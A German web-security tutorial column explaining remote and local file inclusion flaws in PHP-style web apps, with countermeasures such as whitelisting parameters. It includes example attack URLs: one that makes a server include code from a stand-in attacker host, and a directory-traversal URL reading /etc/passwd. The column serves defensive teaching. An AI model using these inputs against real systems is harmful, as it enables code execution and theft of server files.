Das Einbinden beliebiger Dateien in Webanwendungen kann viele unerwünschte Folgen haben. Der schlimmste Fall ist die Ausführung bösartigen Skriptcodes, der in solchen Dateien enthalten sein kann.

Bindet eine in einer Skriptsprache geschriebene Webanwendung eine Datei in ein Skript ein, wird in manchen Fällen darin enthaltener Skriptcode zusammen mit dem Rest des Skripts ausgeführt. Dies ist gewollt und noch kein Sicherheitsproblem. Zu einem Problem wird es erst, wenn ein Angreifer die eingebundene Datei kontrollieren kann. Entweder, weil er den Inhalt der vorhandenen Datei manipulieren kann, oder weil er bestimmen kann, welche Datei eingebunden wird.

Manche Webanwendungen verwenden einen Parameter, um z.B. Spracheinstellungen oder auszuführende Aktionen festzulegen. Dabei wird dann eine Datei, deren Name aus dem Parameter entnommen wird, in ein Skript eingebunden. So könnte zum Beispiel der URL

http://www.server.example/webanwendung.php?sprache=deutsch

bewirken, dass die Datei deutsch in die Webanwendung eingebunden wird und diese an die deutsche Sprache anpasst.

Ein Angreifer kann den Parameter nach seinen Vorstellungen manipulieren:

http://www.server.example/webanwendung.php?sprache=
 http://www.boeser-bube.example/boeser-code.txt

Wenn der Parameter vor der Verwendung nicht ausreichend geprüft wird und die Webanwendung auf entfernte Server zugreifen kann, wird die Datei

http://www.boeser-bube.example/boeser-code.txt

in das Skript eingebunden. Der Angreifer kann darüber beliebigen Skriptcode einschleusen. Da Skriptsprachen meist eine Möglichkeit zum Aufruf von Systembefehlen enthalten, kann der Angreifer z.B. eine Shell öffnen und darüber auf den Webserver zugreifen.

Wenn die Webanwendung keine Dateien von anderen Servern einbinden muss, sollte diese Möglichkeit über die Konfiguration unterbunden werden. Dann bleibt dem Angreifer die Möglichkeit, lokale Dateien einzubinden. Dies geschieht über so genannte Directory-Traversal-Angriffe, bei denen durch Verwendung von "../" bzw. "..\" aus dem vorgegebenen Pfad ausgebrochen wird. Dabei ist es für den Angreifer hilfreich, wenn er den vollständigen Pfad zum Skript kennt. Gibt es diesen im Rahmen einer Fehlermeldung aus, erleichtert es damit einem Angreifer seine Arbeit. Kennt er den Pfad nicht, kann er ihn aber meist erfolgreich erraten.

Zum einen kann der Angreifer nun sensitive Informationen erlangen:

http://www.server.example/webanwendung.php?sprache=
 ../../etc/passwd

bindet unter Unix die Datei /etc/passwd ein. Da sie keinen zu interpretierenden Skriptcode enthält, wird sie als Klartext ausgegeben.

/etc/passwd ist dabei ein Standardbeispiel, inzwischen enthält diese Datei entgegen ihrem Namen längst keine Passwörter mehr. Der Angreifer kann alle auf dem Server der Webanwendung gespeicherten Dateien einbinden, sofern die Webanwendung auf diese zugreifen darf. Das trifft insbesondere z.B. auf die Konfigurationsdateien der Webanwendung und des Webservers zu.

Auch das Ausführen von Skriptcode ist möglich, wenn der Angreifer eine Möglichkeit findet, seinen Code in eine Datei auf den Server zu schreiben bzw. eine eigene Datei auf den Server zu laden. Eine Möglichkeit dafür sind z.B. die Avatar-Bilder in Foren: Werden die Eingaben dafür nicht ausreichend geprüft, kann statt eines Bildes eine Datei mit Skriptcode auf den Server geladen werden. Kennt der Angreifer den Pfad zu seinem 'Bild', kann er es danach in ein Skript einbinden.

Besonders häufig sind in PHP geschriebene Anwendungen von derartigen Schwachstellen betroffen. Dies liegt zum Teil daran, dass PHP bis Version 4.1.0 alle Variablen als globale Variablen betrachtet und der ab Version 4.2.0 verfügbare Schalter register_globals, der dieses Verhalten ändert, oft auf on gesetzt wird. Dadurch kann ein Angreifer beliebige Variablen, einschließlich der nur intern für Include-Dateien verwendeten, auf beliebige Werte setzen. Das Problem kann generell aber auch in anderen Skriptsprachen auftreten.

Gegenmaßnahmen

Es sollten keine Dateien von anderen Servern eingebunden werden, und das Ausbrechen aus den vorgegebenen Pfaden muss durch Ausfiltern von "../" bzw. "..\" verhindert werden.

Da meist sowieso nur eine vorgegebene Menge von Dateien eingebunden werden soll, kann die Zulässigkeit des übergebenen Parameters durch einen Vergleich mit den erlaubten Werten geprüft werden. Der übergebene Dateiname wird nur zum Einbinden einer Datei verwendet, wenn er mit einem der zulässigen Werte übereinstimmt. Und wenn sowieso schon eine derartige Prüfung programmiert wird, können die Dateinamen auch gleich durch andere Werte ersetzt werden. Wenn sprache=1 bedeutet, dass die Datei deutsch eingebunden wird, hat der Angreifer keine Möglichkeit mehr, eine andere Datei einbinden zu lassen. Eine Manipulation des Parameters bewirkt dann nur, dass ggf. die Default-Einstellung verwendet wird, weil der Parameter ungültig ist.

SQL Injection und Cross-Site Scripting sind klassische Angriffe auf Webanwendungen. Ab der nächsten Folge lernen Sie eine neue Sorte von Angriffen kennen: HTTP Request Smuggling.

Carsten Eilers

About Security – Übersicht zum aktuellen Thema "Sichere Webanwendungen"

• About Security #11: SQL Injection
• About Security #12: SQL Injection verhindern
• About Security #13: Mit Stored Procedures gegen SQL-Injection
• About Security #14: Cross-Site Scripting
• About Security #15: Cross-Site Scripting verhindern
• About Security #16: Skriptcode einschleusen
• About Security #17: HTTP Request Smuggling
• About Security #18: Spielarten des HTTP Request Smuggling, 1
• About Security #19: Spielarten des HTTP Request Smuggling, 2
• About Security #20: HTTP Request Smuggling erkennen und verhindern
• About Security #21: HTTP Response Splitting, 1
• About Security #22: HTTP Response Splitting, 2
• About Security #23: Caches vergiften
• About Security #24: Caches indirekt vergiften
• About Security #25: Entführen von Webseiten
• About Security #26: Gefahren für Webanwendungen
• About Security #27: Gefahren für Webserver
• About Security #28: Standorte für Webserver